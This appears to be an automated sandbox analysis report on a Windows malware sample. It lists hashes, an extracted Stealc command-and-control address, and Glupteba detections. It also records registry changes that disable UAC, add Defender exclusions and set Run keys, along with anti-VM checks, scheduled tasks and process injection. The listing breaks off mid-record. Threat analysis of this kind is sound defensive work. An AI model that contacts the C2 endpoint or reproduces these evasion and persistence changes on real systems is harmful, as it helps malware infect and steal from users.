Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows11-21h2_x64 -
resource
win11-20240412-en -
resource tags
arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system -
submitted
20-04-2024 04:49
Static task
static1
Behavioral task
behavioral1
Sample
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe
Resource
win10v2004-20240412-en
General
-
Target
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe
-
Size
404KB
-
MD5
15ce9e885610d5b85500ea0d139f6d21
-
SHA1
99f1392185a70453f33e15d6f5b75064217c2c18
-
SHA256
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e
-
SHA512
9ee8e3fb682cf7abb5804106f841551f2f0fd8ace9842e67f3bda573772d39a6482d19e853de5a9a48d177350a3398cb814105ced01fdfb1be6db7e8bc9055b9
-
SSDEEP
6144:/IJTLRoSz47P8DiLdwXQIPcnEPjj9tQPBBpRPZi9opzUeqcnoKPcmPuJkJ:wlRoSz4j8DM6gIxfUP+2Ye9oCcmf
Malware Config
Extracted
stealc
http://185.172.128.209
-
url_path
/3cd2b41cbde8fc9c.php
Signatures
-
Glupteba payload 18 IoCs
Processes:
resource yara_rule behavioral2/memory/1988-62-0x00000000040C0000-0x00000000049AB000-memory.dmp family_glupteba behavioral2/memory/1988-63-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/4796-94-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1988-159-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/4796-160-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1432-162-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1432-352-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1384-362-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1432-386-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1384-406-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-485-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-488-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-499-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-503-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-507-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-511-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-515-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba behavioral2/memory/1408-546-0x0000000000400000-0x0000000001E06000-memory.dmp family_glupteba -
Modifies firewall policy service 2 TTPs 1 IoCs
Processes:
AA94amAZhUMMf52xrK6WqgJN.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" AA94amAZhUMMf52xrK6WqgJN.exe -
Processes:
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe -
Processes:
AA94amAZhUMMf52xrK6WqgJN.exeIDJwuh7Gfalnn3G3fSt8LiFK.exe95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" AA94amAZhUMMf52xrK6WqgJN.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe = "0" 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
AA94amAZhUMMf52xrK6WqgJN.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ AA94amAZhUMMf52xrK6WqgJN.exe -
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 2572 netsh.exe 2568 netsh.exe -
Checks BIOS information in registry 2 TTPs 3 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
AA94amAZhUMMf52xrK6WqgJN.exeInstall.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion AA94amAZhUMMf52xrK6WqgJN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion AA94amAZhUMMf52xrK6WqgJN.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe -
Drops startup file 6 IoCs
Processes:
jsc.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZG6PtL5Xkcpa46sQ87QEb5v3.bat jsc.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\y117EcYwubvYE3jqzuhuFr85.bat jsc.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VoEzA9ZtSfKjhptPIS4LoWYT.bat jsc.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MBpWmZIk78xidvPH6mX1NJC3.bat jsc.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PgOGKKE2rnTjzoKzw626Es1m.bat jsc.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EEP3vf5e0vJQtL1Gkoh3zrmh.bat jsc.exe -
Executes dropped EXE 17 IoCs
Processes:
5C7CoHlC72ZxGrZ2pQr8gLtb.exeIDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.exeIDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.exeAA94amAZhUMMf52xrK6WqgJN.exeupk.0.execsrss.exeinjector.exewindefender.exewindefender.exes2tweovw0BvcM0wIqlTZALVa.exeInstall.exeQg_Appv5.exeUniversalInstaller.exeUniversalInstaller.exeRMWIhxT.exepid process 920 5C7CoHlC72ZxGrZ2pQr8gLtb.exe 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe 4796 T8aHe9G2jy90tHW1nG82yaRw.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 3108 AA94amAZhUMMf52xrK6WqgJN.exe 568 upk.0.exe 1408 csrss.exe 3908 injector.exe 4848 windefender.exe 4168 windefender.exe 3572 s2tweovw0BvcM0wIqlTZALVa.exe 784 Install.exe 2616 Qg_Appv5.exe 4276 UniversalInstaller.exe 568 UniversalInstaller.exe 2168 RMWIhxT.exe -
Loads dropped DLL 4 IoCs
Processes:
UniversalInstaller.exeUniversalInstaller.exepid process 4276 UniversalInstaller.exe 4276 UniversalInstaller.exe 568 UniversalInstaller.exe 568 UniversalInstaller.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Windows\windefender.exe upx behavioral2/memory/4848-496-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4168-500-0x0000000000400000-0x00000000008DF000-memory.dmp upx behavioral2/memory/4168-508-0x0000000000400000-0x00000000008DF000-memory.dmp upx -
Processes:
IDJwuh7Gfalnn3G3fSt8LiFK.exe95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exeAA94amAZhUMMf52xrK6WqgJN.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe = "0" 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = "1" AA94amAZhUMMf52xrK6WqgJN.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" IDJwuh7Gfalnn3G3fSt8LiFK.exe -
Adds Run key to start application 2 TTPs 3 IoCs
Processes:
csrss.exeIDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe Set value (str) \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" IDJwuh7Gfalnn3G3fSt8LiFK.exe Set value (str) \REGISTRY\USER\S-1-5-21-801765966-3955847401-2235691403-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" T8aHe9G2jy90tHW1nG82yaRw.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
AA94amAZhUMMf52xrK6WqgJN.exe95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA AA94amAZhUMMf52xrK6WqgJN.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 10 api.myip.com 25 api.myip.com 26 ipinfo.io 1 ipinfo.io -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 18 IoCs
Processes:
AA94amAZhUMMf52xrK6WqgJN.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeRMWIhxT.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\GroupPolicy AA94amAZhUMMf52xrK6WqgJN.exe File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini AA94amAZhUMMf52xrK6WqgJN.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol AA94amAZhUMMf52xrK6WqgJN.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol RMWIhxT.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini RMWIhxT.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI AA94amAZhUMMf52xrK6WqgJN.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
AA94amAZhUMMf52xrK6WqgJN.exepid process 3108 AA94amAZhUMMf52xrK6WqgJN.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exeUniversalInstaller.execmd.exedescription pid process target process PID 1384 set thread context of 2304 1384 95442c887f47bbb4b350fca87c45dc6ef95355ce86a63d7c2f50db2d92ae512e.exe jsc.exe PID 568 set thread context of 4956 568 UniversalInstaller.exe cmd.exe PID 4956 set thread context of 2448 4956 cmd.exe MSBuild.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
IDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN IDJwuh7Gfalnn3G3fSt8LiFK.exe File opened (read-only) \??\VBoxMiniRdrDN T8aHe9G2jy90tHW1nG82yaRw.exe -
Drops file in Windows directory 8 IoCs
Processes:
IDJwuh7Gfalnn3G3fSt8LiFK.exeT8aHe9G2jy90tHW1nG82yaRw.execsrss.exeschtasks.execmd.exedescription ioc process File opened for modification C:\Windows\rss IDJwuh7Gfalnn3G3fSt8LiFK.exe File created C:\Windows\rss\csrss.exe IDJwuh7Gfalnn3G3fSt8LiFK.exe File opened for modification C:\Windows\rss T8aHe9G2jy90tHW1nG82yaRw.exe File created C:\Windows\rss\csrss.exe T8aHe9G2jy90tHW1nG82yaRw.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File created C:\Windows\Tasks\bWycNackLSywaqkmgR.job schtasks.exe File created C:\Windows\Tasks\GS_Debug.job cmd.exe -
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exepid process 4268 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3016 1988 WerFault.exe IDJwuh7Gfalnn3G3fSt8LiFK.exe 568 4796 WerFault.exe T8aHe9G2jy90tHW1nG82yaRw.exe 2976 568 WerFault.exe upk.0.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 4880 schtasks.exe 948 schtasks.exe 3912 schtasks.exe 1568 schtasks.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
Install.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exewindefender.exeT8aHe9G2jy90tHW1nG82yaRw.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-72 = "Newfoundland Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-572 = "China Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-104 = "Central Brazilian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2612 = "Bougainville Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-492 = "India Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-31 = "Mid-Atlantic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" T8aHe9G2jy90tHW1nG82yaRw.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-291 = "Central European Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-334 = "Jordan Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-842 = "Argentina Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" T8aHe9G2jy90tHW1nG82yaRw.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-511 = "Central Asia Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-1502 = "Turkey Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exeT8aHe9G2jy90tHW1nG82yaRw.exeIDJwuh7Gfalnn3G3fSt8LiFK.exepowershell.exepowershell.exeT8aHe9G2jy90tHW1nG82yaRw.exeIDJwuh7Gfalnn3G3fSt8LiFK.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exepid process 4324 powershell.exe 4324 powershell.exe 1288 powershell.exe 1288 powershell.exe 4812 powershell.exe 4812 powershell.exe 4796 T8aHe9G2jy90tHW1nG82yaRw.exe 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1988 IDJwuh7Gfalnn3G3fSt8LiFK.exe 4796 T8aHe9G2jy90tHW1nG82yaRw.exe 2496 powershell.exe 3780 powershell.exe 2496 powershell.exe 3780 powershell.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1384 T8aHe9G2jy90tHW1nG82yaRw.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 IDJwuh7Gfalnn3G3fSt8LiFK.exe 1432 